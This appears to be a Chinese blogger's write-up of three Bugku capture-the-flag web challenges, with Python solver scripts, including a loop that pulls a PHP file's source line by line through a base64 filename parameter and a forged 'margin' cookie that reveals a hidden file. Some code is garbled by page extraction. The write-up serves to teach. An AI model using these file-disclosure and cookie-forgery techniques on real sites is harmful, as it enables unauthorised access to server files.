CTF题目记录8

(还有坑没填好)

最近在刷bugku 感觉对新手还是挺友好的,同时也能学到不少东西,每日更新几题准备记录的吧(这次基本是脚本题)

文章目录

  • 秋名山老司机
  • 速度要快
  • cookies欺骗

秋名山老司机

亲请在2s内计算老司机的车速是多少(最基本的脚本题???)

这题很多平台上都有,脚本必练:request库,re库
一开始不知道哪里传值,但是post一个数据后就会有提示的,发现要post一个value参数
在这里插入图片描述

import requests
import re
url='http://123.206.87.240:8002/qiumingshan/'
s=requests.Session()
r=s.get(url)
r.encoding='utf-8'
print(r.text)
data1=re.findall(r'

\n
[\s\+\*-\?;]+
'
,r.text) data2=''.join(data1) #把data1的list转为string类型 num=eval(data2.lstrip('

\n
').rstrip('=?;
'
)) # print(str(num)) 测试一下 r=s.post(url,data={'value':num})#post一个value进去 r.encoding='utf-8' print(r.text)

我这个(正则)写的挺糟糕的,不过够用= =

# 网上师傅写的,学习(正则啊!!)
import requests
s = requests.Session()
r = s.get("http://123.206.87.240:8002/qiumingshan/")
searchObj = re.search(r'(\d+[+\-*])+(\d+)', r.text)
d = {
    "value": eval(searchObj.group(0))
    }
r = s.post("http://123.206.87.240:8002/qiumingshan/", data=d)
print(r.text)

跑出flag在这里插入图片描述

sess = requests.Session( )

requests库的session会话对象可以跨请求保持某些参数,说白了,就是比如你使用session成功的登录了某个网站,则在再次使用该session对象请求该网站的其他网页都会默认使用该session之前使用的cookie等参数

速度要快

我的好像不够快???怎么跑不出来啊555先留个坑

import requests
import base64

url = 'http://123.206.87.240:8002/web6/'
s = requests.Session()
r = requests.get(url)
flag = r.headers['flag']  # headers是个字典
flag = base64.b64decode(flag)

flag = flag.decode('utf-8')[-8:]
#print(flag)
flag = base64.b64decode(flag).decode('utf-8')
#print(flag)

r = s.post(url, data={'margin': flag})
print(r.text)

# 网上瞟的
import requests
import base64
url="http://123.206.87.240:8002/web6/"
s=requests.Session()
head=s.get(url).headers
flag=base64.b64decode(head["flag"])
flag=flag.decode()
key=base64.b64decode(flag.split(":")[1])
payload={"margin": key}
print(s.post(url,data=payload).text)

cookies欺骗

CTF题目记录8_第1张图片
一串可疑base64,解码:keys.txt

然后访问了一下文件:rfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibry
好像没啥用的
(其实是发现filename=keys.txt时会显示内容,所以我们传入新的filename=index.php,base64加密后为aW5kZXgucGhw,再尝试line=1,2…)脚本把所有内容都爆破出来。。。(这个脑洞我没想到,不过我发现这个还挺常见的脑洞)

import requests
for id in range(1,100):
    url = 'http://123.206.87.240:8002/web11/index.php?line=' + str(id) + '&filename=aW5kZXgucGhw'
    r=requests.get(url)
    print(r.text)
error_reporting(0);

$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");

$line=isset($_GET['line'])?intval($_GET['line']):0;

if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");

$file_list = array(

'0' =>'keys.txt',

'1' =>'index.php',

);

 

if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){

$file_list[2]='keys.php';

}

 

if(in_array($file, $file_list)){

$fa = file($file);

echo $fa[$line];

}

?>

传入cookie:margin=margin,查看源码即可

你可能感兴趣的:(CTF题目记录)